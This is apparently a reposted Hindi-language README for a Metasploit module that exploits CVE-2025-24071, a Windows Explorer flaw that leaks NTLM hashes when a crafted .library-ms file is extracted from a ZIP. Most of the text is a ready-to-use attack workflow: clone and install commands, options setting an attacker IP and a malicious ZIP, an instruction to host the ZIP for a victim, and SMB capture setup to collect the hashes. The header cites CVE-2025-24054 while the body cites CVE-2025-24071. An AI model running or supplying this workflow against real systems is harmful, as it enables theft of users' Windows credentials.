cve-2025-24054

CVE-2025-24071: .library-ms फ़ाइल के माध्यम से NTLM हैश लीक (Metasploit मॉड्यूल)

इस रिपॉजिटरी में एक Metasploit मॉड्यूल है जो CVE-2025-24071 का शोषण करने के लिए है, जो Windows Explorer में एक भेद्यता है जो एक दुर्भावनापूर्ण .library-ms फ़ाइल को ZIP आर्काइव से निकालने पर NTLM हैश को लीक करती है।

द्वारा विकसित: FOLKS-IWD

अवलोकन

यह भेद्यता तब होती है जब कोई उपयोगकर्ता एक ZIP आर्काइव निकालता है जिसमें विशेष रूप से तैयार किया गया .library-ms फ़ाइल होती है। Windows Explorer स्वचालित रूप से फ़ाइल में निर्दिष्ट रिमोट सर्वर पर SMB प्रमाणीकरण अनुरोध शुरू करता है, जिससे उपयोगकर्ता की किसी भी अंतःक्रिया के बिना उसका NTLM हैश लीक हो जाता है।

यह Metasploit मॉड्यूल:

1. एक दुर्भावनापूर्ण .library-ms फ़ाइल उत्पन्न करता है।
2. इसे एक ZIP आर्काइव में पैक करता है।
3. NTLM हैश एकत्र करने के लिए Metasploit की SMB कैप्चर कार्यक्षमता के साथ एकीकृत होता है।

स्थापना

1. रिपॉजिटरी क्लोन करें:
   root@kitploit:~

   git clone https://github.com/FOLKS-IWD/CVE-2025-24071-msfvenom.git
   cd CVE-2025-24071-msfvenom
   

2. मॉड्यूल को अपने Metasploit मॉड्यूल निर्देशिका में कॉपी करें:
   root@kitploit:~

   cp ntlm_hash_leak.rb ~/.msf4/modules/auxiliary/server/
   

उपयोग

1. मॉड्यूल लोड करें:
   root@kitploit:~

   use auxiliary/server/ntlm_hash_leak
   

2. आवश्यक विकल्प सेट करें:
   root@kitploit:~

   set ATTACKER_IP 192.168.1.162  # Replace with your IP address
   set FILENAME exploit.zip       # Name of the malicious ZIP file
   set LIBRARY_NAME malicious.library-ms  # Name of the .library-ms file
   set SHARE_NAME shared          # SMB share name
   

3. मॉड्यूल चलाएँ:

  run

4. मॉड्यूल एक दुर्भावनापूर्ण ZIP फ़ाइल (exploit.zip) उत्पन्न करेगा। पीड़ित द्वारा डाउनलोड और निकालने के लिए इस फ़ाइल को होस्ट करें।
5. NTLM हैश एकत्र करने के लिए Metasploit के SMB कैप्चर मॉड्यूल का उपयोग करें:
   root@kitploit:~

   use auxiliary/server/capture/smb
   set SRVHOST 192.168.1.162  # Same as ATTACKER_IP
   run